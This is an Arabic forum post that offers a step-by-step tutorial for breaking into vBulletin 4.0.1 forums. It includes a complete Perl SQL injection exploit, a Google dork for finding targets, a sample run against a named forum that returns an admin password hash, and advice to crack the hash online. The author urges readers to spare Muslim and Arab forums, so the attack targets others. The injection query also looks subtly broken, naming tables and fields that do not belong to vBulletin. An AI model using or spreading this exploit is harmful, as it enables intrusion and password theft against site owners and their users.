طريقة بسيطة لاختراق منتديات نسخ 4.0.1 هههه

كيفكم اخواني اليوم باذن الله سوف اشرح طريقة عن كيفية
اختراق منتديات نسخ 4.0.1
vBulletin Vr.4.0.1

اولا نذهب الى هذا الموقع هنا ونحمل برنامج Active Perl

ثانيا نفتح NotPad ونلصق هذا الكود

كود:
#!/usr/bin/perl

use IO::Socket;


print q{
#######################################################################
# vBulletin? Version 4.0.1 Remote SQL Injection Exploit #
# By th3.g4m3_0v3r #
# our Site www.h4ck3r.in #
# www.hackingcrackingtricks.blogspot.com #
# Indian (th3.g4m3_0v3r@yahoo.com) #
# Dork: Powered by vBulletin? Version 4.0.1 #
#######################################################################
};

if (!$ARGV[2]) {

print q{
Usage: perl VB4.0.1.pl host /directory/ victim_userid

perl VB4.0.1.pl www.vb.com /forum/ 1


};

}


$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ​ ?,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;


print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";



print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{

if ($answer =~/(\w{32})/)
{

if ($1 ne 0) {
print "Password is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";

}
exit();
}

}
print "------------------------------------------------------------------------------------------------\r\n";

و الان نحفظ الملف تحت اسم vb4.pl



ثالثا نفتح الملف عن طريق امر الطوس cmd ثم نضغط انتر
وسوف يظهر بهذا الشكل
كود:
C:\Documents and Settings\Administrator\My Documents\My Perl Exploit\vb4.0.1.pl"





رابعا نذهب الى google ونكتب " Powered by vBulletin? Version 4.0.1 " يعتبر دورك
وهذا لاستخراج المنتديات اللي نسختهم 4.0.1

ملاحظة صغيرة ارجو منكم اخواني الافاضل ان نتجنب المنتديات المسلمة اولا ثم العربية ثانيا

واختر الان اي منتدى مثلا // shoot for the edit //
نذهب الى cmd و نكتب المنتدى فيظهر بهذا الشكل
كود:
C:\Documents and Settings\Administrator\My Documents\My Perl Exploit\vb4.0.1.pl" www.shootfortheedit.com /forum/ 1

ثم نضغط انتر
كود:
[>] SERVER: http://www.shootfortheedit.com
[>] DIR: /forum/
[>] USERID: 1
--------------------------------------------------------------------------------
----------------

[~] PREPARE TO CONNECT...
[+] CONNECTED
[~] SENDING QUERY...
[+] DONE!

--[ REPORT ]--------------------------------------------------------------------
----------------
Password is: 801a2e0624793357acbd5bbd8bf434bf
--------------------------------------------------------------------------------
------



مبروك عليك الباسوورد
ماعليك الا الذهاب الى اي موقع md5 hash cracker
و الباسوورد بين يديك